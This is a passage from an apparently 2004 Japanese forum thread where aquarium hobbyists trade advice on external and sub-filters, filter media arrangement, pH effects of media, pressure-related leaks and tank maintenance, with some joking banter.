前から只者では無いとおもっていたけど漏れの考えは的中していたのか。

376 :名無しさん@お腹いっぱい。:04/04/18 22:09 ID:NLfPrnpE
371です。

濾過材というのいは、PHを変えるのですか?

確かに、パワーハウスは微アルカリ性や微酸性と書いてありますが、
他社の製品には、それらしい記述はありません。

ということは、基本的に濾過材はアルカリを示す。
のかな。

377 :名無しさん@お腹いっぱい。:04/04/18 22:46 ID:hiC2A26F
>>376
アンブリアじゃなくてカボンバつーことはない?

378 :名無しさん@お腹いっぱい。:04/04/19 14:57 ID:fT40i6C0
>>376
普通のろ材はpHには影響しないものが多い。
ガラスや珪素、プラスチック系のものはほとんど影響しない。
(シポラックスは処理の関係で最初アルカリに傾く場合もあるが)

パワーハウス(ハード)は酸性化が進みやすい大型魚
もしくはアルカリを好む魚や海水魚などに使われる。

普通の水槽では食べカス、排泄物、ソイル、流木等により酸性に傾く傾向がある

379 :名無しさん@お腹いっぱい。:04/04/20 13:58 ID:ySzyUtV8
なんでフルーバルとかの他の外部フィルターには
サブフィルターが発売されてないんでしょうか?
普通の買って電源入れなければサブとして使えるんでしょうか?

380 :名無しさん@お腹いっぱい。:04/04/20 14:09 ID:F3Oviz7D
>>379
インペラはずしてね

381 :379:04/04/20 14:49 ID:ySzyUtV8
>380
早速サンクス
ちなみにサブってのはつけたほうが間違いなくよいものなんですか?
60*45*45の水槽に使うのを考えていて
エーハイムで
2213+2213サブと2215単独ならば2213サブつきのほうが濾過能力は良いものなんでしょうか?
サブフィルターって結局モーターに負荷掛けるものだからあまりお勧めしないって意見もみました。
どっちなんでしょうか?
教えてくんで申し訳ない

382 :名無しさん@お腹いっぱい。:04/04/20 16:10 ID:Zay20Xb3
濾過能力ってのは、濾過しなければいけない汚れ以上には機能しない。
水槽環境も人それぞれ。ある人の環境では2213を1台で濾過能力が充分であっても、
他の人の環境では2213を1台では濾過能力が不足する。
つまり、そのフィルターの濾過能力のMAXを水槽の汚れが越えるか越えないかということ。
わざわざサブフィルターを使う人は、過密飼いをするなど濾過能力の不足を自覚している。
あるいは、フィルターが多ければ多いほど水が綺麗になると自己満足しているだけ。

383 :名無しさん@お腹いっぱい。:04/04/20 16:15 ID:/UYo1XF0
>>381
濾材は多い方が良いですが、無駄になる濾材も多くなります。
サブフィルターのモーター負担説ですが、基本的に外部はサイ
フォンの原理を使用しているので、その機構を妨げる要素が無
いなら、モーターの負担増というのは無いはずです。
というか、壊れるならモーターというかインペラで、消耗品です。
逝ったら交換で良いかと思います。

384 :379:04/04/21 15:23 ID:I+/sfmd1
>382
勉強になります。
では、2213+2213サブと2215単独の濾過能力MAXを比べた場合
どちらが上になるのでしょう?
流量440L/hで濾過容量6L(3L+3L)と流量500L/hで濾過容量4L
この2つのシステムを比べた場合どちらがMAXは上ですか?

385 :名無しさん@お腹いっぱい。:04/04/21 16:26 ID:ocBz+wqU
>>384
容量の大きいほう
流量はそれなりに流れてればOK

逆に水流が強いと、水草水槽ではアオミドロとか黒髭が。。。

2213+2213サブ+PUで、流れのよさそうなリング濾材でいいんじゃないでしょうか
2213+PUだけでも大丈夫だと思うけどね

386 :名無しさん@お腹いっぱい。:04/04/22 00:27 ID:uPx1qYjJ
濾過能力のMAXは、単純に濾過容量に比例しているとみていいだろう。
濾過バクテリアの住みかのMAX=濾過能力のMAXでいいと思う。

流量440L/hと500L/hの差には、そんなに意味がない。
一説には水が濾材に触れる時間がある程度長くないと濾過の効きが悪いと言われている。
しかし、その最適流量なんぞ誰も計測していないしわからない。
したがって、流量は水の循環に充分なパワーがあれば良いだけと言える。

387 :名無しさん@お腹いっぱい。:04/04/22 17:35 ID:4XtKPbmL
>>379
水槽サイズと何を飼うのか?というのが分かれば
みなさん指摘しやすいんじゃない??

388 :379:04/04/22 20:30 ID:eQM7GqYh
水槽サイズは60*45*45です。
水草水槽やるぞー!って感じの水槽じゃなくて
コンセプトは長期維持で味のある水槽って考えてます。(ADA系は疲れました・・)
流木・シダ系とクリプトメインで後景で有茎など使いながら・・
照明は蛍光灯3〜4灯でCo2は添加します。
メイン底床は大磯かアクアグラベルで検討中。部分的にソイル使うかも。
魚は大好きなラミーノーズは入れるとして他はあんまり考えてないです。
今までは成長の早い草がメインで毎週メンテナンス・・・みたいな水槽を作ってたんで
濾過は単体で十分事足りるし換水で維持してたんですが
今回は成長が遅い草がメインで濾過で維持を考えてるんでいろいろ悩んでました。
水流とかも考えて2213+2213サブにしました。
プレはつけません。プレの掃除もメンドクサイし・・・
実はエーハイム初めてでして(今までは高くて買う気せず)ちょっと楽しみ。

389 :名無しさん@お腹いっぱい。:04/04/22 22:17 ID:0qytbLZL
コバルト房出番だよ

390 :名無しさん@お腹いっぱい。:04/04/22 22:58 ID:C0hlbvcw
>>388

がんばれ。
俺もそれに近い感じになってるよ。60規格だけど。
流木とクリプト、シダ、アヌビアス。
クリプトは意外と成長速いよ。
CO2添加、蛍光灯4灯5時間で半年経過なんだけども
クリプト・ペッチィが殖えすぎて・・・

391 :経過措置人物:04/04/23 11:22 ID:nHnVaQg+
エーハイムの外部フィルター、おすすめは何ですか?
エコとかクラシックとかよくわかんないでやす。
60cmの水槽だけど、75cm〜対応とかは避けた方がベター?

392 :名無しさん@お腹いっぱい。:04/04/23 11:24 ID:NA7QA4Dv
エーハイム2213買っとけ
間 違 い な い!

393 :経過措置人物:04/04/23 12:05 ID:nHnVaQg+
そうですか。ありがとうです。
買ってみますだ。

394 :コバルト房:04/04/23 14:11 ID:v+f4BP8J
>>388
私もコバルトを添加したいので、コバルトを販売しているところを教えてください。
ちなみに、今は二酸化炭素を添加していますが、成長が芳しくないので
あなたがお勧めのコバルトを添加してみようと思います。

395 :名無しさん@お腹いっぱい。:04/04/23 14:47 ID:f4Uq4dnk
>>394
ご苦労様、コバルト房。
しかし、こういうものは鮮度が大切だよな。

396 :コバルト房:04/04/23 15:11 ID:v+f4BP8J
>>395
わしの都合も考えてください。

397 :名無しさん@お腹いっぱい。:04/04/23 15:24 ID:f4Uq4dnk
>>396
正直、すまなかった。

398 :名無しさん@お腹いっぱい。:04/04/23 20:12 ID:hgXJSMi3
>>392
ええ〜その上の2215っしょやっぱ。エコなら2233。
水流強すぎると思ったけど問題なかったし。

399 :名無しさん@お腹いっぱい。:04/04/23 22:57 ID:dZuCCrbp
オーバーサイズ買っておいて水流強すぎればOUT→INへバイパス付ければ良い

400 :名無しさん@お腹いっぱい。:04/04/24 00:30 ID:4uh8NtQq
ウィズダムS-30を買おうと思ってるんですが、濾材はなにがいいですか?
60p水槽で上部フィルターとの併用で、CRSをメインに考えています。

401 :名無しさん@お腹いっぱい。:04/04/24 01:31 ID:+BPy7lVg
>>400
個人的にはモノボール最強

402 :名無しさん@お腹いっぱい。:04/04/24 06:31 ID:29481z8J
2台の外部をつなげて使ってます。1台目にワタ、2台目にリングろ材を入れてます。
2台目はモーター(たぶん)が壊れて動かないので電源はいれません。

メンテナンスは1台目を掃除して新しいワタをいれたあとホースをつなぎ直し
2台目を持ち上げて水を流し込んで電源を入れるだけ(もちろん1台目の)なので簡単です。
ホースをくわえて水を吸う必要がありません。

リングろ材のはいったほうは全く掃除してませんが今のところ問題なしです。
電源をいれた直後は少々よごれた水が流れでますがそれは排水パイプをバケツに
いれて捨てればいいです(面倒なのでそのままにしてますけど)。


403 :名無しさん@お腹いっぱい。:04/04/24 13:33 ID:6i6zwr6P
排水ホースってADAのリリィパイプとか最近のフルーバルとかみたいのだと
なにか問題あるのかな?
エーハイムの緑の横長ホースは激しく見苦しくって・・・

404 :名無しさん@お腹いっぱい。:04/04/24 22:30 ID:M0ulpVrV
>>402
2台目から水漏れの予感

405 :四百:04/04/24 23:40 ID:4uh8NtQq
>>401
判りました。モノボール3gかってきます

406 :名無しさん@お腹いっぱい。:04/04/25 05:26 ID:D/oDCY+0
>>404
水漏れはしてないですよ。動かないだけですから。

407 :名無しさん@お腹いっぱい。:04/04/25 09:02 ID:5pyFEoRw
>>406
なに書いてあるのか判らないんでスルーしてたけど、俺も>>404と同じく
水漏れな、予感がするんだけど。

まずはえっと、 2台目って後につないでるの?前につないでるの?
 前につないでる分には、水引っ張っぱるからいいんけど、押してる(後につないでる)と、水漏れしやすいよ、
理由は加圧になるため。

ほとんどの外部濾過は構造上負圧になるようにしてあると思うんだけど??
そのへんドウなのよ?

なんか俺もわかりにくい文だな・・・・

408 :名無しさん@お腹いっぱい。:04/04/25 10:32 ID:Zg713sNr
90cm水槽飼おうと思ってるんですが上部フィルターは何がいいですかね?
個人的にはレイシーのRFGが欲しいんですが凄く高くて・・・orz

409 :名無しさん@お腹いっぱい。:04/04/25 13:53 ID:fjgR5u1Y
>408
入れる魚によるとおもいます
RFGの水流は、水草をもぎとらんばかりですよ

410 :名無しさん@お腹いっぱい。:04/04/25 16:01 ID:MOSlddVv
水槽飼うんだろう。

411 :名無しさん@お腹いっぱい。:04/04/25 21:03 ID:bvbcrA+H
>>408
RFG使ってるよ
濾材容量は他の上部よりもたくさん
入るし、間欠もかなりいい感じです。
ただポンプが気にいらない。
ごついし、蝶ねじで水中固定なので
前レスにもあったけど、メンテがやっかい。
RFと同じP型が付いてれば、最高なんだが。

412 :名無しさん@お腹いっぱい。:04/04/25 21:34 ID:WmO96RsO
メックとサブストラットを買ってきました。
外部フィルタにセットするときは、それぞれ分けるのですか?
それとも混ぜるのでしょうか?
初心者なので、よくわかっていません。

413 :名無しさん@お腹いっぱい。:04/04/25 22:01 ID:qAgenLm3
セット前なのかある程度水回した後か分からないけど
普通は上流側にメック、下流側にサブスト>>412
それぞれストッキングにでも詰めといた方が
メンテ時に楽

てか外部の説明書にいろいろ書いてないかい?



414 :412:04/04/25 23:16 ID:WmO96RsO
>>413
セット前です。
413さんの説明どおりのことが外部の説明書に書いてありました。
でも、僕の友人が言うには混ぜたほうが全体に水が回るとかで、フィルターにはいいと言ってました。
やはり友人の言葉は信用しないほうがいいですか?

415 :名無しさん@お腹いっぱい。:04/04/26 00:25 ID:1Cas9Q7B
信用できないなら友人では無い

416 :名無しさん@お腹いっぱい。:04/04/26 00:30 ID:Rp8G3STv
いや、濾過は段階的に分けるのが普通だよなぁ…

生物扱うので自分理論はなかなか受け入れられない世界ではありますです。

417 :名無しさん@お腹いっぱい。:04/04/26 01:22 ID:D7RuFJNR
分けるのが普通だけど、混ぜたらあかんってわけでもないと思うが
413氏のいうとおり小分けしたほうがメンテは楽だと思う。

まあ、どれが正しいってのはないし
自分でやってみてやりやすいのが一番じゃないかな。

418 :名無しさん@お腹いっぱい。:04/04/26 10:47 ID:IB/h8CUd
>>413
みたいにするとストッキングがすぐに目詰まりして
結局水流が濾材に接触しなくなるからよくないんだよ。
こういう我流の発明みたいなのに振り回されちゃダメ。
説明書通りやることが一番。

419 :名無しさん@お腹いっぱい。:04/04/26 10:52 ID:PH/fLQ8o
外部フィルターでメンテがしやすいのはどの型ですか?
なんか、2213は櫨剤を入れるバケツみたいなのがついてますよね。
同じシリーズなのに1つだけってのも変だけど。
どこのメーカーでもいいので、教えてください。

420 :名無しさん@お腹いっぱい。:04/04/26 20:02 ID:bqSXd9Hl
 濾材を入れるネットは100円均一の洗濯ネットがお奨めです。
 ナイロンだし目の粗さは自分で選べばいい、チャックの金具は鉄だけど
一年に一回程度交換するかチャック部分は切断して使わないかすればいい。

 私は上部濾過で使ってたけど1年程度では塗料は取れずに錆びませんでした。


421 :名無しさん@お腹いっぱい。:04/04/26 21:42 ID:f/ALA4dI
420さんのカキコを見て思い出しました。
化学濾過剤は100均のブラジャーネットに入れてます。買うのに勇気が要りました(当方♂)
私が水槽の面倒を見ている知人(♀)にその話をしたら、すぐさまブラジャーネット(当然使用済み)
を持って来て、吸着剤などを入れていました。
ただのネットなのに、美人のブラジャーが入っていたかと思うとなぜかもの凄く照れましたw

422 :名無しさん@お腹いっぱい。:04/04/26 21:58 ID:eDEQvUcH
水作の『スペースパワーフィット』
      ↑
    いかがなモンでしょうか?

現在使用なさってる方いらっしゃいましたら利点・欠点おしえてたも。

1)水槽内環境・濾過等の差異は重要視しておりません。
※チナミニ、こちら90・45・45の水槽なんで濾過機能までは求めておりません・・・という意味です。
2)あえて上げるのなら、水流の循環の点などを重視して頂ければ幸いです。

注)あくまでもサブフィルターとしての使用目的です。

423 :名無しさん@お腹いっぱい。:04/04/26 23:37 ID:Rp8G3STv
>>422
使ってるけど、環境が違い杉。 

60・30・17のデスクボーイノビータでちょうどええです。
上のほうは端までなんとか水流が届いてるくらい。でも半分から下は魚の睡眠
スペースになるくらい緩やか。流量でなく、細い排水口にて負圧で流れを作っ
てる感じ。

流量も、シャワーの角度も変えられるので運用は楽です。小さいので部分的に
流れを作りたいならいんじゃないでしょうか?

424 :ID:eDEQvUcH:04/04/27 09:40 ID:LVhEt18W
♪サンキュッ (v^-^v)♪

425 :402,406:04/04/28 06:21 ID:gJnncfy7
>>407
動かないほうを後ろにつないでます。
「理由は加圧になるため」「外部濾過は構造上負圧になるようにしてある」

えーとここらへんよくわからないのですが
このまま使ってるといずれ水漏れする可能性が大きいのでしょうか?
その場合どちらの外部フィルターのどの部分が破損するのでしょうか。
プラスチックの胴体というかケースが割れたりするのかな。

426 :名無しさん@お腹いっぱい。:04/04/28 07:09 ID:ZbVmkBmD
>>425
ケースが割れるほどの水圧はないけど
0リングの劣化による亀裂からの水漏れ
ホース接合部などからの水漏れ
などが考えられる
どちらも負圧を前提にした仕様だから
負圧の時には平気な不具合でも加圧の時には命取りになる

427 :名無しさん@お腹いっぱい。:04/04/28 10:02 ID:tP1/0Xm/
「理由は加圧になるため」「外部濾過は構造上負圧になるようにしてある」

えーとここらへんよくわからないのですが



池沼GJ
m9

428 :名無しさん@お腹いっぱい。:04/04/28 16:39 ID:Mr78TwMO
 少し漏れのある容器に圧力を加えたら水漏れしやすいですよね。
 逆に負圧(要は牛乳パックを吸い込んでへこますこと)にしたら漏れがあっても
空気が容器に入るので水漏れはしにくい。
 
 ポンプは吐出パイプの直前の方につなげるといいです。

 吸い込み→ポンプ動かさないフィルタもしくはサブフィルタ→ポンプ動かすフィルタ→吐出パイプ

429 :教えて君:04/04/28 22:05 ID:mt/VAM/M
過去スレ読めないんで質問です。
アピスト系の魚には、底砂に居るバクテリアは必要不可欠?
アピストを飼うに底砂なしではダメ?
外部フィルターガンガンでも底砂のバクテリアは必要不可欠なの?

430 :名無しさん@お腹いっぱい。:04/04/28 22:33 ID:ZbVmkBmD
>>429
外部を主に用いるのが底床のバクテリアが豊富な水草水槽だって時点で答えは出てると思う

431 :教えて君:04/04/28 22:50 ID:mt/VAM/M
でも孵化した稚魚が底砂に入り込んで親が見失ってしまうってことが起きません?

432 :名無しさん@お腹いっぱい。:04/04/29 06:14 ID:t395reqJ
>>431
ちょっと過保護じゃないですか?

433 :425:04/04/29 11:10 ID:8N4vOGe3
>>426>>428
理解しました。ありがとね。

434 :名無しさん@お腹いっぱい。:04/04/29 19:07 ID:ToDJnMt0
Rio800いれて水流つくったぁ〜!
で、半日ぐらい其の流水の中で泳がせて・・・えさ食べさしました。

これが食いがいいのなんのって。
気持ちいいぐらい餌にがっついてきますた。こりゃいい

水流作ると藻も附着しづらくなるんで、一石二鳥で砂。
後はスイッチの入れ替えが自動で出来ると嬉しいんだが・・・
安いタイマーなんかないもんかねぇ?
現在、チャームで探索中。

435 :名無しさん@お腹いっぱい。:04/04/29 19:49 ID:3N64DoId
RIoはタイマー接続には向いていないよ、というか壊れやすくなる
タイマーやウエーブコントローラにつなぐときはマキシジェット

436 :434:04/04/29 21:02 ID:UOsjOB/o
まじでぇ〜!?

それは考えモンですなぁ

437 :名無しさん@お腹いっぱい。:04/04/29 21:32 ID:bjmBnnoF
>>411
俺も使ってるが面倒なんで、4つ止めるところ2つにしてる。
たしかにゴミが詰まったときの処理がめんどい。


438 :名無しさん@お腹いっぱい。:04/04/29 21:50 ID:7mqtyN9N
>>432
でも、前ラミレッジを繁殖させた時はベアタンクにスポンジフィルターで
やりましたけどねえ。

439 :名無しさん@お腹いっぱい。:04/04/30 12:45 ID:x1wDXOvP
スキマー買え

440 :名無しさん@お腹いっぱい。:04/04/30 21:55 ID:wTX/3YxR
30a水槽にオススメなのは?

441 :名無しさん@お腹いっぱい。:04/04/30 22:33 ID:YQ/4WtwK
内掛け

442 :名無しさん@お腹いっぱい。:04/05/02 10:07 ID:WQz5dV7b
大型魚のベアタンクの水質管理すごく難しい。
カビっぽくて汚くなるしさ

いい方法教えて

443 :名無しさん@お腹いっぱい。:04/05/02 10:20 ID:Lb2phjTJ
>442
あれは大量換水して維持するものらしい。
あと、成長しきったら餌の量を控えるとか。

444 :名無しさん@お腹いっぱい。:04/05/02 11:18 ID:jege8Rh5
>>442
むしろ底砂入れてるほうが掃除が激しく大変なんだが。。。

445 :名無しさん@お腹いっぱい。:04/05/02 11:20 ID:kAIEfMSc
誰か教えてくれ。
マルチホントにすまん。

2213サブセット買った。
濾材は
粗めフィルター*5 細めフィルター*1 活性炭*1 キッセン2213用*4 
サブストプロ1リットル エーハイメック1リットル サイコロスポンジ3リットル
がある。
これらの濾材をどういう並びにしたらバッチリか教えてください。
ちなみに水草主体で生体もそこそこな水槽に使います。
ちなみに濾材コンテナはサブで使った方が使い勝手がよくなるんでしょうか?


446 :名無しさん@お腹いっぱい。:04/05/02 11:37 ID:PDhPjDR9
>>442
>>443が言うように大量換水が一番楽だと思う。
それ以外ならOFにしたほうがいいんじゃない?

小型魚の延長線上の設備でやるのはどうかと思うが、
どうしてもっていうなら物理濾過もちゃんと考えれ。
プレフィルタくっつけるとか、投込みフィルタ入れるとか、
フィッシュトイレ使うとか。それでも毎日掃除で大変だろうがな。

ところで、今はどんな濾過装置使ってるの?

447 :名無しさん@お腹いっぱい。:04/05/02 11:39 ID:0ybZABT9
メインがどういうセッティングかわからないと
アドバイスのしようもないと思うんだがどうか?

448 :名無しさん@お腹いっぱい。:04/05/02 11:58 ID:kP/WE7Co
知り合いのマニアは、水道出口に謎の機械(カルキ抜き+αらしい)をつけて、水槽内に
ちょろちょろと水をいれ、同時に水をちょろちょろ捨ててた。

濾過装置とか付けてなかった。



449 :名無しさん@お腹いっぱい。:04/05/02 12:03 ID:Lb2phjTJ
>448
大型魚飼いは皆それに憧れてるんだろうけど、現実には難しいよ。

450 :せじゃるまる ◆SEX.VM6Elo :04/05/02 12:12 ID:7R5hEMKm
450

451 :名無しさん@お腹いっぱい。:04/05/02 12:16 ID:Lb2phjTJ
>450
獲るなら「777」とかにしておきなされ。

452 :名無しさん@お腹いっぱい。:04/05/05 14:05 ID:hVbB0MPP
SANMIのリングろ材買ってきた
これってシポラックスに似てるんだけど、使う前に酢で煮たほうがいいかな

453 :名無しさん@お腹いっぱい。:04/05/05 14:09 ID:hVbB0MPP
age忘れたorz

454 :名無しさん@お腹いっぱい。:04/05/05 14:15 ID:3j+OwOxo
>452
ええ?
シポラックスって使用前に酢で煮るのが常識なのか?

455 :名無しさん@お腹いっぱい。:04/05/05 14:28 ID:hVbB0MPP
>>452
常識かどうかは知らないけど
初めてシポ使ったとき妙にアルカリ化するから調べてみたら
酢で煮ろってどこかのHPに書いてあった

456 :名無しさん@お腹いっぱい。:04/05/05 14:29 ID:NH0Jp8YB
シポは導入後少しのあいだアルカリに傾くから
酢でやろうとしたんだろうけど
水で煮沸を何度かすればいいんじゃないの?


457 :452:04/05/05 14:47 ID:hVbB0MPP
>>456
今酢使わないで煮てます
酢でやったほうが早いかな?って思ったけど、シポと同じかどうかも分からないんで聞いてみた

458 :sage:04/05/06 18:36 ID:xBTDrkN9
ADAのES−600を60センチ水槽に使っているのですが将来の
メンテナンスを見据えてサブフィルターを増設したいと考えています。
エーハイムで考えているのですが連結して問題はないでしょうか?
またすでに使っている方がおられましたら詳細をお教え頂けませんか。

459 :名無しさん@お腹いっぱい。:04/05/06 18:51 ID:eBKSBiya
>458
ES-600は今のヤツは分からんけど、出た当初のヤツはモーターと濾過槽の蓋をつなぐ
ホースが黒いゴムで腐って水漏れ起した。
もしも同じ物なら、今のうちにエーハイムとかの透明なのに変えた方が良いよ。
60cmのままでメンテナンスの事考えるなら、サブフィルター付けるよりもスポンジフィルター
だけにした方が良さそう。
連結に耐えるかは分からない。

460 :sage:04/05/06 18:57 ID:xBTDrkN9
458です。今は茶色っぽいゴムですが大丈夫でしょうか?
まだ立ち上げて1ヶ月位なのでまだ生物ろ過は完成して
いないのですが物理的ろ過でパームネットをつかっています。
スポンジフィルターを付けてES−600の方にもスポンジ
を入れたほうがいいですか?

461 :名無しさん@お腹いっぱい。:04/05/06 21:49 ID:tPdBbFp/
たぶん「サイコロスポンジを入れる」んじゃなくて「PIとかPIIとかのスポンジフィルター」を
プレフィルターとして吸水口に装着、っていう意味だと思う。

462 :名無しさん@お腹いっぱい。:04/05/06 22:23 ID:lNp6sfNo
さんみのはシポほどてかぜんぜんアルカリに傾かないよ
そのまま入れても大丈夫

463 :434:04/05/06 22:25 ID:UsgFZBWe
>>485

思い切ってオーバーフローにしたら如何?
キャビネットの下に60ぐらいのサブもう一個つけてさぁ
普通は120オーバーの水槽が一般的だが、60・60ってのも粋かもよ??
ということで、
エーハイムでオバーフロー兼外部フィルターとする。・・・なんてのはどう?
上部60×2・下部濾過槽60×1ってのもいいですよ。
下の濾過槽にエビでも買ったらいい感じよ?d(^-^)ネ!

あんま参考にならんかったかもね。失敬。

※チナミニ私は、スイサクの投げ込み式サブフィルタにしてますが、90a水槽でもなかなかどうして。
かなりの透明度と藻発生防止に役立っておりますよ。
換水は3分の1毎週土曜日に・・・

464 :名無しさん@お腹いっぱい。:04/05/06 22:28 ID:UsgFZBWe
>>458
でしたな。スマソ

465 :名無しさん@お腹いっぱい。:04/05/07 00:26 ID:2zhEvVkk
EM菌やHB101を使っておられる方いませんか?
情報きぼーん。

466 :名無しさん@お腹いっぱい。:04/05/07 01:20 ID:N2WXT8v1
>>465
ttp://www.chugoku-np.co.jp/News/Tn03091304.html

467 :名無しさん@お腹いっぱい。:04/05/07 02:46 ID:UCgTy0K6
HB101を別の目的でずいぶん前に買った。匂いがいいよね。
水槽にも使ってみた。何も変わらない印象。
油膜のある水槽に垂らすと油膜がよけていく。面白い。
ただそれだけ。油膜もしばらくすると元通り。
木酢液のような効き目なんでしょ?
木酢液より匂いがやさしいので価格を我慢できればこれでいいんじゃん?

468 :名無しさん@お腹いっぱい。:04/05/07 11:54 ID:DQiibIGi
外部での濾過材ってぎゅうぎゅうに詰めた方がいいのかな?

469 :名無しさん@お腹いっぱい。:04/05/07 12:01 ID:UyfUqXZN
>>468通水性が悪くなるのであまりやらないほうがいいかも?

470 :名無しさん@お腹いっぱい。:04/05/07 22:28 ID:ixLStqhD
そっかー

471 :名無しさん@お腹いっぱい。:04/05/07 23:35 ID:KwQktXJK
EM菌を最初に使いだし、流行らせたあの人は今はフミン物質を
入れて水造っているそうな。あとアロエとか、、、

472 :名無しさん@お腹いっぱい。:04/05/08 01:58 ID:IznzlLLT
マラソン健康法を全世界に広めた人は、マラソン中に心臓発作で亡くなった。

へぇへぇへぇへぇへぇへぇへぇへぇへぇへぇへぇへぇ

473 :名無しさん@お腹いっぱい。:04/05/08 02:04 ID:NE9OLs9E
ジョギングのことかなぁ?

474 :名無しさん@お腹いっぱい。:04/05/08 02:04 ID:IznzlLLT
orz

475 :名無しさん@お腹いっぱい。:04/05/08 13:29 ID:Hdy6e/S7
濾過が素晴らしい水槽の水は飲んでも大丈夫?
湧き水の味?

476 :名無しさん@お腹いっぱい。:04/05/08 13:31 ID:XsKun/kU
>>475
うん、うちはそれで米炊いてるよ。

477 :名無しさん@お腹いっぱい。:04/05/08 13:51 ID:IGHqVem/
>>470
脱窒するならいいかも。

478 :名無しさん@お腹いっぱい。:04/05/08 19:33 ID:3BfBTTw1
今サイエンスゼロでトラフグの陸上養殖が出てたけど、ろ過はドライだった。
ろ材は鉢底ネットを5センチ角ぐらいに切って3〜4枚重ねたようなやつ。

479 :名無しさん@お腹いっぱい。:04/05/09 01:49 ID:FLSK8Q9U
トットパーフェクトフィルター使ってる香具師いる?
インプレおながいします。
嫌気濾過って本当に機能するもんかね?

480 :名無しさん@お腹いっぱい。:04/05/09 07:40 ID:6FrS1taZ
HCに売ってる踏むとガラス質の音がします。っていう防犯用の砂利
軽石みたいな感じだし、穴もいっぱい開いてるし結構いい素材かなーと思ってます。
使った人いないかなぁ?

481 :名無しさん@お腹いっぱい。:04/05/09 07:56 ID:F1msiZvg
>>480
雑草防止の効果もありますって書いてあったけど、変な成分入ってないよね?

482 :名無しさん@お腹いっぱい。:04/05/09 11:22 ID:IRn+n1qM
>>480-481

あれって水に浮きそうな余寒。
さわったら軽かったぞ。

483 :名無しさん@お腹いっぱい。:04/05/09 11:49 ID:socR9xzG
見た目はハイドロコーンそっくりだった気がする。

484 :名無しさん@お腹いっぱい。:04/05/09 11:59 ID:qN8yLQYd
雑草防止はまくことで土が覆われるからという意味だろう

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